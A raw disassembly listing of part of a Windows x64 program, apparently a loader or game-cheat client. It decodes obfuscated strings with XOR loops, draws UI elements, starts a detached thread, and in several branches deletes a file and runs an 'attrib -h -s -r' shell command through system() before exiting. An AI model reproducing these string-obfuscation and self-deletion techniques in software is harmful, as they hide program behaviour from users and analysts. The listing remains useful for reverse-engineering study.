movss xmm1, dword [rax + 0x18]
mulss xmm1, dword [0x1400cfca0]
movss xmm2, dword [0x1400cfccc]
subss xmm2, dword [0x14053bcbc]
mulss xmm2, xmm1
addss xmm2, dword [0x14053bcbc]
movss dword [0x14053bcbc], xmm2
call fcn.140065830
movss xmm3, dword [0x14053bcbc]
addss xmm3, dword [0x1400cfd2c]
movsd xmm0, qword [0x1400cf728]
movsd qword [rbp + 0x6a0], xmm0
mov ecx, dword [str.r_B_]
mov dword [rbp + 0x6a8], ecx
mov ebx, dword [0x1400e41d0]
cmp byte [0x1400cf733], 0
je 0x140068629
mov r8d, r14d
cmp ebx, 2
jl 0x1400685ef
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [0x1400cff40]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400cf728]
xorps xmm1, xmm0
movd dword [rbp + 0x6a0], xmm1
movdqa xmm2, xmmword [0x1400cfe40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6a4]
xorps xmm2, xmm1
movd dword [rbp + 0x6a4], xmm2
movdqa xmm2, xmmword [0x1400cfe50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6a8], xmm2
jmp 0x140068629
lea r9, [rbp + 0x6a0]
nop word [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140068600
movzx eax, word [0x1400cf778]
movsd xmm0, qword [0x1400cf770]
mov word [rbp + 0x10], ax
movsd qword [rbp + 8], xmm0
movzx eax, byte [0x1400cf77a]
mov byte [rbp + 8], 0x23
xor byte [rbp + 9], 0x32
xor byte [rbp + 0xa], 0x33
xor byte [rbp + 0xb], 0x34
xor byte [rbp + 0xc], 0x35
xor byte [rbp + 0xd], 0x36
xor byte [rbp + 0xe], 0x37
xor byte [rbp + 0xf], 0x38
xor byte [rbp + 0x10], 0x39
xor byte [rbp + 0x11], 0x3a
xor al, 0x3b
mov byte [rbp + 0x12], al
movss xmm0, dword [0x1400cfd54]
movss dword [rsp + 0x30], xmm0
movss dword [rsp + 0x28], xmm3
movss xmm0, dword [0x1400cfcf8]
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 8]
call fcn.14004fe30
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, dword [0x1400cfd40]
addss xmm0, dword [0x1400cfcfc]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [0x1400cf1b0]
movsd qword [rbp + 0x68], xmm0
movzx ecx, word [0x1400cf1b8]
mov word [rbp + 0x70], cx
movzx eax, byte [0x1400cf1ba]
mov byte [rbp + 0x68], 0x23
xor byte [rbp + 0x69], 0x32
xor byte [rbp + 0x6a], 0x33
xor byte [rbp + 0x6b], 0x34
xor byte [rbp + 0x6c], 0x35
xor byte [rbp + 0x6d], 0x36
xor byte [rbp + 0x6e], 0x37
xor byte [rbp + 0x6f], 0x38
xor cl, 0x39
mov byte [rbp + 0x70], cl
xor byte [rbp + 0x71], 0x3a
xor al, 0x3b
mov byte [rbp + 0x72], al
lea rcx, [rbp + 0x68]
call fcn.1400482f0
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, dword [0x1400cfd3c]
addss xmm0, dword [0x1400cfd08]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.cWQXTRJ]
movsd qword [rbp + 0x670], xmm0
mov ecx, dword [0x1400cf640]
mov dword [rbp + 0x678], ecx
cmp byte [0x1400cf643], 0
je 0x140068969
mov r8d, r14d
cmp ebx, 2
jl 0x140068933
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [0x1400cff40]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.cWQXTRJ]
xorps xmm1, xmm0
movd dword [rbp + 0x670], xmm1
movdqa xmm2, xmmword [0x1400cfe40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x674]
xorps xmm2, xmm1
movd dword [rbp + 0x674], xmm2
movdqa xmm2, xmmword [0x1400cfe50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm14
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x678], xmm2
jmp 0x140068969
lea r9, [rbp + 0x670]
nop word [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140068940
lea rcx, [rbp + 0x670]
call fcn.1400469b0
movss xmm3, dword [0x14053bcbc]
addss xmm3, dword [0x1400cfd44]
addss xmm3, dword [0x1400cfcd0]
mov eax, dword [str._T__6]
mov dword [rbp + 0x550], eax
movzx eax, word [0x1400cf37c]
mov word [rbp + 0x554], ax
mov byte [rbp + 0x550], 0x4c
xor byte [rbp + 0x551], 0x32
xor byte [rbp + 0x552], 0x33
xor byte [rbp + 0x553], 0x34
xor al, 0x35
mov byte [rbp + 0x554], al
xor byte [rbp + 0x555], 0x36
movzx eax, word [0x1400cf710]
mov word [rbp + 0x660], ax
movzx eax, byte [0x1400cf712]
mov byte [rbp + 0x660], 0x74
xor byte [rbp + 0x661], 0x32
xor al, 0x33
mov byte [rbp + 0x662], al
movdqa xmmword [rbp + 0xe0], xmm10
movdqa xmmword [rbp + 0x110], xmm8
movdqa xmmword [rbp + 0x650], xmm8
movdqa xmmword [rbp + 0x40], xmm10
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x650]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
movss xmm0, dword [0x1400cfce8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1400cfd54]
movss dword [rsp + 0x20], xmm0
movss xmm2, dword [0x1400cfcf8]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x660]
call fcn.140050070
test al, al
je 0x140068ff0
cmp byte [0x1405400e8], 0
je 0x140068a98
call fcn.1400653c0
lea rax, [rbp + 0x270]
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x270]
call fcn.14000a330
mov rbx, rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0x110], rax
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x130]
call fcn.14000a330
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
mov r8, 0xffffffffffffffff
lea rax, [0x140540128]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140068b00
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000cc80
nop
mov r9, rbx
mov r8, rdi
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x880]
call fcn.140008380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], 0xf
mov byte [rbp + 0x680], 0
movups xmmword [rbp + 0x6e0], xmm0
mov qword [rbp + 0x6f0], r14
mov qword [rbp + 0x6f8], 0xf
mov byte [rbp + 0x6e0], 0
cmp qword [rbp + 0x890], 0x11
jbe 0x140068f62
mov qword [rbp + 0x598], r14
lea r8, [rbp + 0x560]
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x920]
call fcn.14006b8d0
nop
movabs rax, 0x4624f5b62431fa02
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x210], rax
movabs rsi, 0x3ff7094280a8e1d6
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x218], rax
movabs rdi, 0x465786d347528f71
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x978], rax
movdqa xmm0, xmmword [rbp + 0x970]
xorps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140068c50
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x40]
call fcn.14000cc80
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x920]
call fcn.14006ca20
cmp byte [rax], 4
jne 0x14006ad19
cmp byte [rax + 8], 0
je 0x140068ed4
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], r14
mov r8, 0xffffffffffffffff
lea rax, [0x140540128]
inc r8
cmp byte [rax + r8], 0
jne 0x140068cb3
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14000cc80
nop
mov eax, r12d
xchg byte [0x1400fd013], al
mov ecx, 0x68
call fcn.140092790
mov rbx, rax
mov qword [rbp + 0x290], rax
lea rdx, [rbp + 0x740]
mov rcx, rax
call fcn.14000a330
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 0x840]
call fcn.14000a330
nop
lea rcx, [rbx + 0x40]
lea rdx, [rbp + 0xe0]
call fcn.14000a330
nop
lea rax, [0x140062e90]
mov qword [rbx + 0x60], rax
mov qword [rbp + 0x650], rbx
or dword [rbp], 0x800
lea rax, [rbp + 0x7e8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x140073d40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x7e0], rax
test rax, rax
je 0x140068ec1
mov qword [rbp + 0x650], r14
cmp dword [rbp + 0x7e8], 0
je 0x140068eb7
movaps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140068eb7
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
movdqa xmmword [rbp + 0x7e0], xmm0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140068def
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140068dea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140068dea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov dword [0x140540140], r12d
movzx edx, byte [rbp + 0x920]
lea rcx, [rbp + 0x928]
call fcn.14006b1d0
nop
mov qword [rbp + 0x6f0], r14
mov qword [rbp + 0x6f8], 0xf
mov byte [rbp + 0x6e0], 0
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], 0xf
mov byte [rbp + 0x680], 0
mov rdx, qword [rbp + 0x898]
cmp rdx, 0xf
jbe 0x140068e99
inc rdx
mov rcx, qword [rbp + 0x880]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140068e94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140068e94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x890], r14
mov qword [rbp + 0x898], 0xf
mov byte [rbp + 0x880], 0
jmp 0x140069004
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x7e8], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [0x1405400a8]
call fcn.14000a170
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x780]
call fcn.140050c80
nop
mov r8, rax
lea rdx, str.attrib__h__s__r__
lea rcx, [rbp + 0x130]
call fcn.14006ba40
nop
lea r8, [0x1400cddd0]
mov rdx, rax
lea rcx, [rbp + 0x720]
call fcn.14000c450
nop
lea rcx, [rbp + 0x130]
call fcn.14000a200
nop
lea rcx, [rbp + 0x270]
call fcn.14000a200
lea rcx, [rbp + 0x720]
call fcn.14000a170
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [0x1405400a8]
call fcn.14000a170
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x780]
call fcn.140050c80
nop
mov r8, rax
lea rdx, str.attrib__h__s__r__
lea rcx, [rbp + 0x130]
call fcn.14006ba40
nop
lea r8, [0x1400cddd0]
mov rdx, rax
lea rcx, [rbp + 0x720]
call fcn.14000c450
nop
lea rcx, [rbp + 0x130]
call fcn.14000a200
nop
lea rcx, [rbp + 0x270]
call fcn.14000a200
lea rcx, [rbp + 0x720]
call fcn.14000a170
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movabs rdi, 0x465786d347528f71
movabs rsi, 0x3ff7094280a8e1d6
mov rcx, qword [0x14053ff50]
cmp dword [0x140540140], 1
jne 0x14006a225
mov dword [rbp + 0x178], 0x44160000
mov dword [rbp + 0x17c], 0x43910000
xor r8d, r8d
lea rdx, [rbp + 0x178]
mov rcx, qword [rcx + 0x4000]
call fcn.140025830
mov dword [0x140540120], 0
mov rcx, qword [0x14053ff50]
movss xmm1, dword [rcx + 0x18]
mulss xmm1, dword [0x1400cfca0]
movss xmm0, dword [0x1400cfd90]
movss xmm2, dword [0x14053bcbc]
subss xmm0, xmm2
mulss xmm0, xmm1
addss xmm2, xmm0
movss dword [0x14053bcbc], xmm2
movss xmm0, dword [0x1400cfd8c]
comiss xmm0, xmm2
jbe 0x14006a225
movabs rax, 0x465786d34752be01
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x960], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x968], rax
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x960]
movdqa xmmword [rbp + 0x120], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x720], xmm0
mov qword [rbp + 0x730], r14
mov qword [rbp + 0x738], r14
lea rax, [rbp + 0x120]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140069130
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x720]
call fcn.14000cc80
nop
mov rax, qword [0x14053ff50]
movss xmm1, dword [rax + 0x18]
mulss xmm1, dword [0x1400cfca0]
movss xmm0, dword [0x1400cfd04]
movss xmm7, dword [0x14053bcb8]
subss xmm0, xmm7
mulss xmm0, xmm1
addss xmm7, xmm0
movss dword [0x14053bcb8], xmm7
movups xmm6, xmmword [0x1400cd438]
mov rbx, qword [0x140540020]
subss xmm7, dword [0x1400cfd00]
movabs rax, 0x662ba6be2637fd35
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0xe0], rax
movabs rax, 0x4d967b2df0c58482
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0xe8], rax
movabs rax, 0x236df5ad683b0e62
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0xf0], rax
movabs rcx, 0x69ea756c8c474d38
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x680], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x688], rax
movabs rax, 0x236df5ad683b2e1b
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x698], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqa ymmword [rbp + 0xe0], ymm1
mov rcx, rbx
vzeroupper
call fcn.140025580
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
mov rdi, qword [rax + 0x2a8]
movaps xmm0, xmm6
shufps xmm0, xmm6, 0xff
cvttss2si r8d, xmm0
movaps xmm1, xmm6
shufps xmm1, xmm6, 0xaa
cvttss2si edx, xmm1
movaps xmm0, xmm6
shufps xmm0, xmm6, 0x55
cvttss2si ecx, xmm0
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss xmm2, dword [0x1400cfbf0]
mulss xmm0, xmm2
movss dword [rbp + 0x240], xmm0
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm2
movss dword [rbp + 0x244], xmm1
movd xmm0, edx
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm2
movss dword [rbp + 0x248], xmm0
movd xmm1, r8d
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm2
movss dword [rbp + 0x24c], xmm1
lea rcx, [rbp + 0x240]
call fcn.1400190c0
mov r8d, eax
mov dword [rbp + 0x180], 0x41c80000
movss dword [rbp + 0x184], xmm7
test eax, 0xff000000
je 0x1400693f0
cmp byte [rbp + 0xe0], 0
je 0x1400693f0
lea rax, [rbp + 0xe0]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140069380
lea rdx, [rbp + 0xe0]
add rdx, rcx
test rbx, rbx
jne 0x1400693a0
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x40], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm13
mov qword [rsp + 0x38], rdx
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x180]
movss xmm2, dword [0x1400cfccc]
mov rdx, rdi
mov rcx, rbx
call fcn.1400405d0
call fcn.140025620
movups xmmword [rbp + 0x40], xmm8
lea rcx, [rbp + 0x40]
call fcn.1400190c0
mov esi, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call fcn.1400190c0
mov edi, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call fcn.1400190c0
mov ebx, eax
movups xmmword [rbp + 0x40], xmm8
lea rcx, [rbp + 0x40]
call fcn.1400190c0
movss xmm1, dword [0x14053bcb8]
movaps xmm0, xmm1
subss xmm0, dword [0x1400cfce0]
mov dword [rbp + 0x188], 0x43d48000
movss dword [rbp + 0x18c], xmm0
mov dword [rbp + 0x190], 0
subss xmm1, dword [0x1400cfce4]
movss dword [rbp + 0x194], xmm1
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x190]
mov rcx, r15
call fcn.14003c570
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, dword [0x1400cfcc4]
addss xmm0, dword [0x1400cfd5c]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movdqa xmm0, xmmword [0x1400d0320]
movups xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0x198], 0x3f800000
mov dword [rbp + 0x19c], 0x3f800000
mov qword [rbp + 0x1a0], 0
mov dword [rbp + 0x1a8], 0x41a00000
mov dword [rbp + 0x1ac], 0x41a00000
lea rax, [rbp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x198]
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x1a8]
mov rcx, qword [0x14053ffe0]
call fcn.140047ed0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140026970
test al, al
je 0x14006960f
xor ecx, ecx
call fcn.14001c7c0
test al, al
je 0x14006960f
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x780]
call fcn.140050c80
nop
mov r8, rax
lea rdx, str.attrib__h__s__r__
lea rcx, [rbp + 0x130]
call fcn.14006ba40
nop
lea r8, [0x1400cddd0]
mov rdx, rax
lea rcx, [rbp + 0x680]
call fcn.14000c450
nop
lea rcx, [rbp + 0x130]
call fcn.14000a200
nop
lea rcx, [rbp + 0x270]
call fcn.14000a200
lea rcx, [rbp + 0x680]
call fcn.14000a170
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
movss xmm6, dword [0x1400cfd0c]
addss xmm1, xmm6
addss xmm0, dword [0x1400cfcf0]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.gS__GWYL]
movsd qword [rbp + 0x18], xmm0
movzx eax, word [0x1400cf488]
mov word [rbp + 0x20], ax
cmp byte [0x1400cf489], 0
je 0x1400696b9
mov byte [rbp + 0x18], 0x56
xor byte [rbp + 0x19], 0x32
xor byte [rbp + 0x1a], 0x33
xor byte [rbp + 0x1b], 0x34
xor byte [rbp + 0x1c], 0x35
xor byte [rbp + 0x1d], 0x36
xor byte [rbp + 0x1e], 0x37
xor byte [rbp + 0x1f], 0x38
xor byte [rbp + 0x20], 0x39
xor byte [rbp + 0x21], 0x3a
lea rcx, [rbp + 0x18]
call fcn.1400469b0
movups xmmword [rbp + 0x40], xmm9
mov rbx, qword [0x14053ff50]
mov dword [rbp + 0x40], r14d
movups xmm0, xmmword [rbx + 0x39cc]
movups xmmword [rbp + 0x44], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0x40]
call fcn.140030570
cmp dword [rbx + 0x4a74], 0
je 0x1400696fe
movups xmmword [rbx + 0x39cc], xmm9
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm6
addss xmm0, dword [0x1400cfd1c]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.dWQASTL_]
movsd qword [rbp + 0x78], xmm0
movzx ecx, word [0x1400cf2c0]
mov word [rbp + 0x80], cx
movzx eax, byte [0x1400cf2c2]
mov byte [rbp + 0x78], 0x55
xor byte [rbp + 0x79], 0x32
xor byte [rbp + 0x7a], 0x33
xor byte [rbp + 0x7b], 0x34
xor byte [rbp + 0x7c], 0x35
xor byte [rbp + 0x7d], 0x36
xor byte [rbp + 0x7e], 0x37
xor byte [rbp + 0x7f], 0x38
xor cl, 0x39
mov byte [rbp + 0x80], cl
xor byte [rbp + 0x81], 0x3a
xor al, 0x3b
mov byte [rbp + 0x82], al
lea rcx, [rbp + 0x78]
call fcn.1400469b0
mov r8, qword [0x14053ff50]
movsxd rax, dword [r8 + 0x4a78]
cmp eax, 1
jl 0x1400697fc
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x4a80]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
mov r8, qword [0x14053ff50]
mov rax, qword [r8 + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [r8 + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm6
movss xmm7, dword [0x1400cfd34]
addss xmm0, xmm7
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.w_A___C_]
movsd qword [rbp + 0x28], xmm0
movzx eax, word [0x1400cf808]
mov word [rbp + 0x30], ax
cmp byte [0x1400cf809], 0
je 0x14006989b
mov byte [rbp + 0x28], 0x46
